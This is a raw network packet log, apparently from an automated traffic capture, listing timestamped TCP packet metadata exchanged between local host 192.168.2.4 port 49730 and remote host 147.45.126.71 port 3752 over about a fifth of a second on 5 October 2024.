Oct 5, 2024 14:33:08.258620977 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.258647919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258698940 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.259511948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.259644985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.259684086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.259697914 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.259722948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.259771109 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.275784016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.275832891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.275872946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.275913000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.275964975 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.275984049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.275988102 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.276022911 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276058912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276072025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.276427984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276520014 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276535034 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.276767015 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276798010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276829004 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.276835918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276870966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.276890993 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.277115107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.277169943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.277271986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.277307034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.277360916 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.287739038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.287842989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.287878036 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.287904024 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.288130999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.288167000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.288183928 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.288387060 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.288422108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.288439989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.290050983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.290117979 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.290163994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.290199041 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.290246964 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.290482044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.290517092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.290550947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.290566921 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.290587902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.290640116 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.299693108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.299767971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.299806118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.299829960 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.299839973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.299879074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.299905062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.299912930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.299952030 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.299963951 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.300085068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.300133944 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.300298929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.300333977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.300368071 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.300395012 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.300403118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.300438881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.300456047 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.300472975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.300519943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.311427116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.311477900 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.311518908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.311544895 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.311625004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.311660051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.311681032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.311696053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.311732054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.311752081 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.312330961 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.312366962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.312388897 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.312402010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.312436104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.312454939 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.312469959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.312503099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.312517881 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.312536001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.312583923 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.313469887 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.313505888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.313540936 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.313556910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.313575029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.313611984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.313623905 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.313647032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.313682079 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.313694954 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.321242094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321320057 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.321382999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321415901 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321451902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321465015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.321486950 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321521044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321543932 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.321557999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321615934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.321751118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321804047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321837902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321860075 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.321870089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.321918011 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.321980953 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.322016001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.322050095 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.322062969 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.322087049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.322123051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.322134018 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.330111027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.330182076 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.330271006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.330303907 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.330348015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.330359936 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.330394030 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.330429077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.330440998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.330466032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.330519915 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.331084967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336168051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336221933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336256027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336364031 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.336393118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336491108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336524963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336544991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.336560965 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336610079 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.336862087 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336896896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336935043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.336949110 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.337167978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.337202072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.337227106 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.337235928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.337270975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.337287903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.337692976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.337754965 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.344316006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.344425917 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.344461918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.344481945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.344706059 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.344741106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.344753981 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.344978094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345010996 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345033884 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.345043898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345077991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345098019 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.345113039 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345161915 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.345685959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345721006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345753908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345765114 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.345789909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.345837116 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.362006903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362109900 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362143040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362173080 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.362416983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362456083 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362543106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362577915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362603903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.362603903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.362612963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.362683058 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.362900972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363089085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363126040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363147020 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.363423109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363456011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363481998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.363488913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363523006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363547087 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.363554001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.363611937 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.374237061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.374340057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.374375105 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.374403000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.374635935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.374670029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.374703884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.374778986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.374778986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.375008106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.376460075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.376516104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.376523018 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.376549959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.376605988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.376868010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.376902103 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.376936913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.376952887 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.377253056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.377307892 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.385525942 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.385636091 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.385672092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.385698080 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.385904074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.385938883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.385953903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.385972977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.386035919 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.386465073 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.386498928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.386534929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.386549950 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.386569023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.386605024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.386626005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.386639118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.386684895 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.387125969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.387161016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.387207985 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.397617102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.397723913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.397757053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.397787094 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.398037910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398072958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398096085 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.398107052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398142099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398169041 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.398634911 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398669958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398693085 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.398703098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398742914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.398757935 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.399251938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.399286032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.399311066 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.399319887 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.399355888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.399374008 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.399410963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.399475098 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.399483919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.400155067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.400190115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.400213957 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.400224924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.400275946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.407566071 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.407681942 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.407715082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.407919884 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.407989979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408024073 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408051968 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.408058882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408114910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.408150911 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408515930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408550024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408571959 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.408584118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408633947 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.408782959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408834934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408869028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408883095 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.408902884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408940077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.408957005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.408967972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.409035921 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.416512012 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.416605949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.416639090 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.416661024 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.416749001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.416800022 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.416846037 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.416881084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.416913986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.416932106 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.416976929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.417032003 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.417371988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.422576904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.422658920 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.422672033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.422707081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.422760963 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.422857046 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.422892094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.422940016 CEST	49730	3752	192.168.2.4	147.45.126.71
